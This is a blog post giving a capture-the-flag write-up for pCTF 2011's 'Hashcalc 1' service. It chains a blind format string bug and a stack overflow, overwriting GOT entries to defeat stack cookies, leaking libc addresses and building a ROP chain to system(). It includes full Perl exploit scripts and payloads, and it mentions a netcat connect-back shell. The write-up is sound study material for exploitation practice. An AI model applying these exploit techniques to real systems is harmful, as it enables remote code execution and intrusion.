maandag 25 april 2011

pCTF 2011 - Mission #22: "Hashcalc 1" write-up

The control flow relevant to the bug is as follows:

  • request_handler
    • recv into a 0x400 bytes large buffer (max 0x3ff bytes + NUL terminator)
    • call fprintf on this string (output goes into /home/hashcalc1/LOG, so we can't see it)
    • hash the string
    • reply_func
      • sprintf string and hash using format string "%u (%s)" into buffer of size 0x100
      • send reply string

So what we have is a blind format string bug in request_handler, and a buffer overflow in reply_func. The buffer overflow is normally detected because of a damaged stack cookie however. Since the stack and libs are randomized we really want to have the freedom to explore the address space using ROP instead of just using a printf exploit, so let's see if we can find a way to make the overflow work.

This code is called when a stack cookie is found to be damaged:

8049190:    55                       push   ebp
 8049191:    89 e5                    mov    ebp,esp
 8049193:    53                       push   ebx
 8049194:    e8 74 ff ff ff           call   804910d <getgid@plt+0x719>
 8049199:    81 c3 33 12 00 00        add    ebx,0x1233
 804919f:    e8 d0 f7 ff ff           call   8048974 <__stack_chk_fail@plt>
 80491a4:    90                       nop

So let's disable this by using the printf exploit to replace the GOT entry for __stack_chk_fail with a pointer to something which will simply return control to the caller:

8049186:    5e                       pop    esi
 8049187:    5f                       pop    edi
 8049188:    5d                       pop    ebp
 8049189:    c3                       ret
Find the GOT entry:

08048974 <__stack_chk_fail@plt>:
 8048974:    ff 25 3c a4 04 08        jmp    DWORD PTR ds:0x804a43c

So we want to write 0x8049186 to 0x804a43c.

To build the printf exploit we need to know an argument index that falls into a user-controlled buffer.

Function prologue:
8048d1d:    55                       push   ebp
 8048d1e:    89 e5                    mov    ebp,esp
 8048d20:    53                       push   ebx
 8048d21:    81 ec 1c 04 00 00        sub    esp,0x41c
So esp+4+0x41c = ebp. Our buffer is at ebp-0x408 = (esp+4+0x41c)-0x408 = esp+0x18, and argument index 1 is at esp+8. Argument index = 1 + (0x18-8)/4 = 5.

We plug this into a script that generates printf exploit strings (since I can't be bothered to figure it out manually each time). This gives the string '\x3c\xa4\x04\x08\x3e\xa4\x04\x08%5$37246x%5$n%5$28282x%5$2052x%6$n'. Trying this out against a local copy of the service confirms that this performs the desired overwrite.

(To get a local copy running, you either have to patch the binary or create a user with the expected name.)

In short, as long as we start our string with this format string the stack cookie checking should be bypassed.

We want to use this to build ROP sequences. Since we want fully clean ROP we'll send a NUL byte after the initial return address, so the code that strips newlines doesn't mangle it. This also means we need to use our initial eip control in reply_func to jump up to the buffer in the parent function.

Exploit string so far:
'\x3c\xa4\x04\x08\x3e\xa4\x04\x08%5$37246x%5$n%5$28282x%5$2052x%6$n', padding, fake stack cookie, fake saved ebx, fake saved ebp, ret addr, NUL byte.

Note that the padding needs to make sure that the amount of output generated by printf("%u (%s", hash, fmt_str_plus_padding) is exactly 0x100, which depends on the value of the hash. Since (1-(999/0xfff)) * 100 = 76% of hash values will have length 4 it's easiest just to assume this and fiddle with the string until this assumption holds.

At the point where we take control using our new return address esp has been restored to the value it had in the stack frame of request_handler (ebp has been thrashed though). Recall that our buffer in the parent function is at esp+0x18. We already used up 0x100-6+16+1 = 0x10b bytes, so our ROP will start at esp+0x18+0x10b at the lowest, but let's round it up to esp+0x124.

The most convenient ROP gadget for this operation is this code from the epilogue of reply_func:
 8048bd5:    81 c4 1c 01 00 00        add    esp,0x11c
 8048bdb:    5b                       pop    ebx
 8048bdc:    5d                       pop    ebp
 8048bdd:    c3                       ret    41c

If we use 0x8048bd5 we end up at esp-0xc-0x11c = esp-0x128.

The perl script used to generate the string:
my $s = ""
# patch stack cookie failure function
$s .= "\x3c\xa4\x04\x08".
      "\x3e\xa4\x04\x08".
      "\x58\xa4\x04\x08".
      "\x5a\xa4\x04\x08";

$s .= '%5$37238x%5$n%5$28282x%5$2052x%6$n%7$33507x' .
      '%7$n%7$29977x%7$2052x%8$n';

# pad to buffer size
$s .= "A"x(256-6-68-16);

# stack cookie, saved ebx, saved ebp, return addr
$s .= pack("IIII", 0xdfadbeef, 0xdeadbeef, 0xdeadbeef, 0x8048bd5);

# alignment
$s .= "\0\0";

# ROP:
$s .= pack(
        "IIIIII", 0x8048994, 0xdeadbeef, int($ARGV[1]), 
        0x804a3d8, (0x804a45c+4)-0x804a3d8, 0
);

print $s;
This dumps the GOT. The file descriptor number is given as an argument because on the server it's 5 while on my local install it's 7. Also note that the printf exploit was modified a bit to also convert exit() calls to nops. This was needed because our buffer overflow also overwrites the file descriptor number, which makes the send() which normally sends the reply with the hash fail. Disabling the exit() call allows us to recover from this.

This is the reply from the server:

000000  2a 2a 20 57 65 6c 63 6f  6d 65 20 74 6f 20 74 68  |** Welcome to th|
000010  65 20 6f 6e 6c 69 6e 65  20 68 61 73 68 20 63 61  |e online hash ca|
000020  6c 63 75 6c 61 74 6f 72  20 2a 2a 0a 24 20 40 98  |lculator **.$ @.|
000030  80 b7 d0 9b 83 b7 20 d2  83 b7 30 f6 79 b7 2a 88  |...... ...0.y.*.|
000040  04 08 10 33 7d b7 e0 20  84 b7 a0 20 84 b7 d0 95  |...3}.. ... ....|
000050  7e b7 90 bb 78 b7 20 bf  80 b7 40 88 7e b7 80 70  |~...x. ...@.~..p|
000060  85 b7 30 28 7c b7 a0 1e  84 b7 60 24 84 b7 ea 88  |..0(|.....`$....|
000070  04 08 90 84 7e b7 b0 10  7d b7 c0 c1 7b b7 20 1f  |....~...}...{. .|
000080  84 b7 f0 d2 80 b7 a0 1e  83 b7 5a 89 04 08 90 c1  |..........Z.....|
000090  7b b7 86 91 04 08 01 00  83 b7 60 22 84 b7 aa 89  |{.........`"....|
0000a0  04 08 50 c5 80 b7 e0 23  84 b7 90 af 80 b7 e7 8a  |..P....#........|
0000b0  04 08 02 00 80 b7                                 |......|

Skip the first 46 bytes and we get the GOT...
000000  40 98 80 b7 d0 9b 83 b7  20 d2 83 b7 30 f6 79 b7  |@....... ...0.y.|
000010  2a 88 04 08 10 33 7d b7  e0 20 84 b7 a0 20 84 b7  |*....3}.. ... ..|
000020  d0 95 7e b7 90 bb 78 b7  20 bf 80 b7 40 88 7e b7  |..~...x. ...@.~.|
000030  80 70 85 b7 30 28 7c b7  a0 1e 84 b7 60 24 84 b7  |.p..0(|.....`$..|
000040  ea 88 04 08 90 84 7e b7  b0 10 7d b7 c0 c1 7b b7  |......~...}...{.|
000050  20 1f 84 b7 f0 d2 80 b7  a0 1e 83 b7 5a 89 04 08  | ...........Z...|
000060  90 c1 7b b7 86 91 04 08  01 00 83 b7 60 22 84 b7  |..{.........`"..|
000070  aa 89 04 08 50 c5 80 b7  e0 23 84 b7 90 af 80 b7  |....P....#......|
000080  e7 8a 04 08 02 00 80 b7                           |........|
000088

The first two entries are the addresses of setgroups and setregid. Let's see if their relative offset is the same as in the libc on one of the other game boxes:

0xb7809840 - 0xb7839bd0 == 0x00094840 - 0x000c4bd0

This works out, so we know the version of libc being used and can resolve addresses.

Let's go for a simple ROP: recv some data into a known location in the data section, and then run system() on it.

0x8048844, 0x8049109, int($ARGV[0]), 0x804a468, 0x200, 0, 0xb7809840 - 0x00094840 + 0x00039180, 0xdeadbeef, 0x804a468

Explanation:

0x8048844: recv@plt
0x804a468: our buffer (start of bss section)
0x8049109: pop pop pop ret
0xb7809840 - 0x00094840 + 0x00039180: address of system()


#!/usr/bin/perl
my $s = "";
# patch stack cookie failure function
$s .= "\x3c\xa4\x04\x08".
      "\x3e\xa4\x04\x08".
      "\x58\xa4\x04\x08".
      "\x5a\xa4\x04\x08";

$s .= '%5$37238x%5$n%5$28282x%5$2052x%6$n' .
      '%7$33507x%7$n%7$29977x%7$2052x%8$n';

# pad to buffer size
$s .= "A"x(256-6-68-16);

# stack cookie, saved ebx, saved ebp, return addr
$s .= pack("IIII", 0xdfadbeef, 0xdeadbeef, 0xdeadbeef, 0x8048bd5);

# alignment
$s .= "\0\0";

# ROP:
$s .= pack(
        "IIIIIIIII",
        0x8048844, 0x8049185, int($ARGV[0]), 0x804a468,
        0x200, 0, 0xb7809840 - 0x00094840 + 0x00039180,
        0xdeadbeef, 0x804a468
);

print $s;
So now if we input this to the program, then sleep for a second, and then send it a NUL-terminated shell command it will execute this. Simply send a connectback nc command (bindshell doesn't seem to work, firewall disallowed?) gets you a shell.

Geen opmerkingen:

Een reactie posten